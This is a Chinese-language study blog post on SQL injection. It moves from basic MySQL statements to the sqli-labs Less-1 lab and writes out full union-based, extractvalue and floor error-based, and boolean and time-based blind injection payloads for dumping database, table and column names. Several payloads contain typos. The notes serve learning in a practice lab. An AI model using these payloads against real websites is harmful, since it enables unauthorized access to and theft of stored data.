sql注入的学习
我会在这里写下sql注入的一些学习过程
sql的增删改
查看数据库
show databases
创建与删除数据库
create database employees charset utf8;
创建一个数据库叫employees字符集是utf8
删除叫employees的数据库drop database employees;
创建表
创建一个名字为employee的表1
2
3
4
5
6
7
8
9create table employee
//下面输入表格信息
(
id int,
name varchar(),
sex char(),
birthday date,
job varchar()
);
创建表时需要将每一列分别是什么数据类型定义好
查看数据表信息
show full columns from employee;
查看数据表列表
select * from employee;
删除数据表
drop table employee;
给表添加一个自增的id
alter table 表名 add id int unsigned not Null auto_increment primary key
修改数据表名
将数据表名改为userrename table employee to user
修改字符级
alter table user character set utf8;
插入数据到数据表
插入数据到叫user的表中1
2
3
4insert into user
(id,name,sex,birthday,job)
values
(1,"ctf","male","1999-05-","it")
增加一列名为salary的内容
alter table user add salary decimal(8,2)
//(8,2)意为数子长度为八小数点后两位
修改某列信息
修改salary的信息update user set salary=5000;
//user为表名
可以在后面添加限定语句update user set salary=5000 where id=1;
意为只修改id=1行的salary
删除列
alter table user drop salary
删除行
delet from user where jop='it'
删除job=’it’的那一行
删除表
delet form user;
数据库的查询
查询数据表中的信息
select * from 数据表名;
这个段代码表示的是查询表中的所有列信息,表示的是所有列名
`select from 数据表名 where 列名=数据这句话是对查询的行进行限制,只查询符合限制的行,如限制可以是
where id=1`之类的
也可以将星号进行改变来查询自己想要的那一列
union 联合查询
union 联合查询多条语句
如输入以下代码1
select id(`列名`) from user(数据表名) union select email(列名) from user(表名);
也可以对其进行限制,只要在表名后加上where 限制条件
注意用union联合查询时要查询两个表的所有信息时两表的列数需要相同
当列数不同时可以输入以下代码SELECT * FROM naem union select *,3 from emplpyee;
union后面的那条查询语句中的3是对其缺少的那一列进行填充。
group by列数查询
group by的作用是分组,也可以用来对表的列数进行查询select * from 表名 where id=1 group by 列数
,在上面那跳语句中我们可以对列数进行更改来查询列数,一旦超过列数的总数就会报错。
order by列数查询
order by真正的作用是排序,同上我们也可以拿来对列数进行查询1
select * from 表名 order by 列数
原理相同也是对列数进行更改,
在列数后加desc这是将order by的默认降序排序改为升序
limit 限制输出数量
select * from users limit 1,3
这条语句的意思是查询user表的所有列,显示第2行道第4行的内容(由于第limit 0才是从第一行开始所以需要加1),
and和or 与和或
and就是与1
select * from users where id=1 and name=ctf;
上面代码的意思为查询users表中id=1且name=ctf的那一行
or就是或1
select * form users where id=1 or name=ctf;
上面的语句就是输出满足id=1或者name=ctf的数据行
利用and和or判断闭合关系(字符型或数子型)
利用and和or提交万能密码
常用函数z
group_concat 多行整合成单行输出
这个函数是将输出的多行转变为一行代码如下、1
select group_concat(name(可多个列名)) from users;
上面的代码可以将本该多行输出的name整合成一行输出
select database()查询当前数据库名称
select version()查询当前数据库版本
sql注入基础(以下代码以sqli-labs的less1的代码举例)
1.查询注入点
注入点就是可以实行注入的地方通常是一个访问数据库的连接。如sqli-labs的less1就是input the ID
2.判断是字符型还是数字型注入
可以在网页中进行传值进行判断
有两种方法如
1.在sqli-labs的less1就需要输入?id=1
查看回显后在?id=2-1
查看回显再和id=1
的回显内容进行比较若
想同为数字型不同为字符型
2.输入?id=1
后输入?id=1 and 1=2
若成功回显则为字符型,反之为数字型
3.如果是字符型注入找到闭合方式
在我们进行传值id=1时由于是字符所以我们传入的值都将会在引号内所有出即使传入命令也将无法进行,所以我们需要闭合引号
传入?id=1'--+
—+的意义是将后面的语句注释如果不注释由于我们传入了一个1'
这会导致后面的引号落单导致报错所以需要注释掉后面的语句。
当然我们传入1’不一定会有效果因为字符的闭合方式有多种如下1
' " ') ")
我们需要自己进行尝试
4.判断查询返回的列数
判断列数的原因为我们在注入时一般需要union来进行联合查询如以下代码1
?id=1 union select * from 表名
传入的语句就是select * from 表名 where id=1 union select * from 表名;
union在进行查询时要保证查询的两表列数相同所以我们需要查询列数
查询列数需要用到我们之前的order by 和 group by
输入如下语句?id=1' order by 1
将order by后的数字进行替换尝试,来查询这个表的列数(group by也相同)
5.查询回显位置
查询回显位置时我们需要用的联合查询union注意:联合查询时所传出的值为两行但是网页一般只回显一行这时我们就需要使前一个查询输出空值或无法传出,这是我们就将id=-1这时我们就可以在屏幕上看见联合查询的第二条语句了
查询回显位置我们只需要输入如下代码?id=-1' union select 1,2,3--+
此时屏幕上就会出现数字的回显这时我们查看回显了什么数字,那些回显的数字就是回显位置,我们可以将那些数字替换成语句以此来进行查询
爆库名
在数据库中存在叫information_schema的数据库,这个数据库中存在一个叫schema_name的数据表,表里的schemata列中存储这所以数据库的名称那么我们就可以通过查询语句查询服务器中的所有库名代码如下1
select group_concat(schema_name) from information_schema.schemata
注入语句中的写法如下1
?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata
爆表名
所有的表名存储在information_schema库的tables表的table_name列下,查询代码如下:1
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='库名'
爆列名
所有的列名都在information_schema库下的columns表的column_name列下
代码如下1
?id=-1' union select 1,2,group_concat(column_name) form information_schea.columns where table_name='表名'
extractvaalue()函数
extractvalue(xml_frag, xpath_expr):从一个使用xpath语法的xml字符串中提取一个值。xml_frag:xml文档对象的名称,是一个string类型。
xpath_expr:使用xpath语法格式的路径。
这个函数是一种查询函数在报错注入时我们需要输入该函数的错误格式来使sql报错,这时我们就可以在报错里得到我们想要的信息
该注入语句适用于
以下是我们注入时的格式1
?id=1 union select 1,2,extracvalue(1,concat(0x7e,(select ~(~为查询语句))))
其中0x7e为’~’的ascii码值 用concat来将~和查
询语句进行拼接使语句报错出查询的内容,但是报错的内容不能大于30字符所以我们需要用到substring来控制报错的输出substring
可以对输出的字符量进行查询
下面是融入substring的输入语句1
?id=1' union select 1,2,extractvalue(1,concat(0x7e,substring(select ~(~为查询语句))))--+
floor的报错注入
floor注入需要了解的函数1
2
3
4count(*)计数函数,用与计算不同分组的数量
floor()将小数向下取证
rand()生成0到1的小数
concat_ws(1,2,3)用1做连接符来连接2和3
先直接亮注入语句而后在做解释1
?id=1' union select 1,count(*),concat_ws('-',(select database()),floor(rand(0)*2)) as a from information_schema.schemata group by a
该语句是利用了concat_ws将查询语句与floor(rand(1)2)拼接在一起,而后在将拼接后的所有语句命名为a在将其分组后利用count()计数。就是在计数时发生了报错
在利用concat进行拼接后查询到的字段中都会被拼接上-0或-1那么就会被分为两组进行计数
floor(rand(1)*2)这个语句所生成的数是固定,
而在计数时在第一次遇见字符(假设为a-0)时会进行二次计算在载入,而这就会导致载入的结果为下一个字段(假设为a-1),而后如果再次遇到a-0时就会载入下一个字段如果下一个字段为a-1那么就会造成出现两个a-1被载入那么就会发生报错从而实现报错注入
而我们也只需要对报错注入的查询语句进行替换就可以了
盲注
布尔盲注
布尔盲注主要是利用注入时页面是否回显来判断真假,通过真假来判断查询内容1
2
3length(str)返回函数内字符串的长度
ascii(str)返回字符串最左端的字符的ascii
substr(str,1,1)从第一位开始返回字符串1为1
2
3?id=1' and length((select database()))>2;
?id=1' and ascii(substr((select database()),1,1))>100
只要将查询语句进行替换就可以查询其他内容
时间盲注
时间盲注是用于屏幕不回显的情况1
2sleep(延迟秒数)
if(1,2,3)如果语句1正确执行语句2反之执行3
1 | ?id=1' and if(ascii(substr((select database()),1,1))>100,sleep(0),sleep(3)) |
同样只要对查询语句进行替换就可以查询其他内容。